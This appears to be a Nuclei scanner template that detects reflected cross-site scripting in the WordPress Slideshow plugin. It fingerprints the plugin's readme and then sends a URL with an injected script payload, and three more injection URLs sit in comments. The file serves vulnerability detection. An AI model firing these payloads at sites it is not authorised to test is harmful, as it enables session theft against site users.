56 lines
2.2 KiB
YAML
56 lines
2.2 KiB
YAML
id: wp-slideshow-xss
|
|
|
|
info:
|
|
name: WordPress Slideshow - Cross-Site Scripting
|
|
author: daffainfo
|
|
severity: high
|
|
description: WordPress Slideshow plugin contains multiple cross-site scripting vulnerabilities. An attacker can execute arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
|
|
reference:
|
|
- https://www.exploit-db.com/exploits/37948
|
|
classification:
|
|
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
|
|
cvss-score: 7.2
|
|
cwe-id: CWE-79
|
|
metadata:
|
|
max-request: 2
|
|
tags: wordpress,xss,wp-plugin,edb
|
|
|
|
flow: http(1) && http(2)
|
|
|
|
http:
|
|
- raw:
|
|
- |
|
|
GET /wp-content/plugins/slideshow-jquery-image-gallery/readme.txt HTTP/1.1
|
|
Host: {{Hostname}}
|
|
|
|
matchers:
|
|
- type: word
|
|
internal: true
|
|
words:
|
|
- 'Slideshow'
|
|
- 'Stable tag:'
|
|
condition: and
|
|
|
|
- method: GET
|
|
path:
|
|
- '{{BaseURL}}/wp-content/plugins/slideshow-jquery-image-gallery/views/SlideshowPlugin/slideshow.php?randomId=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'
|
|
# - '{{BaseURL}}/wp-content/plugins/slideshow-jquery-image-gallery/views/SlideshowPlugin/slideshow.php?slides[0][type]=text&slides[0][title]=%3Cscript%3Ealert%28123%29%3B%3C%2Fscript%3E'
|
|
# - '{{BaseURL}}/wp-content/plugins/slideshow-jquery-image-gallery/views/SlideshowPluginPostType/settings.php?settings[][group]=%3Cscript%3Ealert%28123%29%3B%3C%2Fscript%3E'
|
|
# - '{{BaseURL}}/wp-content/plugins/slideshow-jquery-image-gallery/views/SlideshowPluginPostType/style-settings.php?settings[0]&inputFields[0]=%3Cscript%3Ealert%28123%29%3B%3C%2Fscript%3E'
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: word
|
|
words:
|
|
- "</script><script>alert(document.domain)</script>"
|
|
part: body
|
|
|
|
- type: word
|
|
part: header
|
|
words:
|
|
- text/html
|
|
|
|
- type: status
|
|
status:
|
|
- 200
|
|
# digest: 4a0a00473045022100e887b0422901bb62ee8c22831a120e576e71259f5f096e56500f6469ff946ea30220776f21ad560462d60cffdb0bf1b9282b57b8408283f86a81002cf3cac3756bad:922c64590222798bb761d5b6d8e72950 |